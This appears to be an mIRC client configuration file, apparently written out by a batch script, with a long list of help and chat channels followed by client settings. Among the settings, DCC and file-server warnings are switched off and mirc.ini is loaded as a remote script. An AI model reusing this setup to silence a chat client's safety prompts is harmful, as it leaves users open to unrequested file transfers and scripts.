n14=#Funshack The Fun and Friendly, All Welcome, Funchannel

n15=#Giggles

n16=#help

n17=#HelpDesk

n18=#hottub

n19=#IRCAddicts

n20=#ircbar

n21=#irchelp General IRC Help

n22=#irclub

n23=#ircnewbies IRC/mIRC Questions Answered with a Smile :-)

n24=#ircpassage

n25=#ircsupport

n26=#IRCWavPlayers mIRC Wavs & Ascii

n27=#Loonybin

n28=#mIRC Ask mIRC Questions Here! (no chatting)

n29=#mIRC_Colors

n30=#mIRC_Lounge

n31=#mIRC_Rainbow mIRC Help, Colours, and Popups!

n32=#mIRC_Wavs'N'Txt

n33=#mIRC4Dummies

n34=#mIRCAide

n35=#mIRCHelp mIRC Questions Welcomed! :)

n36=#mIRCInTro

n37=#mIRCScripts

n38=#mIRCSetUp

n39=#mIRCsupport

n40=#new2irc

n41=#new2mIRC

n42=#new2mIRC3

n43=#newbiehelp

n44=#newbies

n45=#PartyHouse Party Party Party!

n46=#PlanetChat

n47=#PopInn Friendly Chat, Popups & Colours help

n48=#SpeakEasy

n49=#Speaker's_corner

n50=#teen

n51=#teens

n52=#teenzone

n53=#TheChatterBox

n54=#UserGuide

n55=#Wasteland

n56=#Windows95

n57=#Winsock

n58=#Worldchat

[warn]

fserve=off

dcc=off

[about]

show=iamweasel

[windows]

main=100,600,75,450,0,1,0

[dde]

ServerStatus=on

ServiceName=mIRC

[pfiles]

n0=popups.ini

n1=popups.ini

n2=popups.ini

n3=popups.ini

n4=popups.ini

[dccserver]

n0=1,59,1,1,1,0

[ident]

active=yes

userid=mircbat

system=UNIX

port=113

[socks]

Enabled=no

Port=1080

Method=4

dccs=no

[wizard]

warning=2

[fileserver]

Warning=Off

[extensions]

n0=defaultEXTDIR:download\

n1=*.wav,*.midEXTDIR:sounds\

[text]

commandchar=/

linesep=-

[files]

servers=servers.ini

emailer=

finger=finger.txt

urls=urls.ini

addrbk=addrbk.ini

[mirc]

user=mircbat

email=mircbat

nick=mircbat

anick=mircbat

host=Random US DALnet serverSERVER:irc.dal.net:7000GROUP:1

[dirs]

logdir=logs\

waves=sounds\

midis=sounds\

[colours]

n0=0,6,4,5,2,3,3,3,3,3,3,1,5,2,6,1,3,2,3,5,1,0,1,0,1

[afiles]

n0=aliases.ini

[rfiles]

n0=remote.ini

n1=remote.ini

n2=mirc.ini

[options]

n0=0,1,0,0,0,0,300,0,0,0,1,0,0,0,1,0,0,1,0,0,512,0,1,0,0,0,0

n1=5,50,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,1,1,0,5,0,0

n2=0,1,0,1,1,1,1,1,0,60,120,0,0,1,1,0,1,1,0,120,20,10,0,1,1,0,0

n3=500,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,3,1,0,1,0,0,0,0,1,1,2,0,0

n4=1,0,1,1,0,3,999,0,0,0,1,0,1024,0,0,99,60,0,0,1,1,1,1,1,1,5000

n5=1,1,1,1,1,1,1,1,1,1,6667,0,0,0,1,0,1,0,300,10,4,0,1,24,0,0,1

:Exit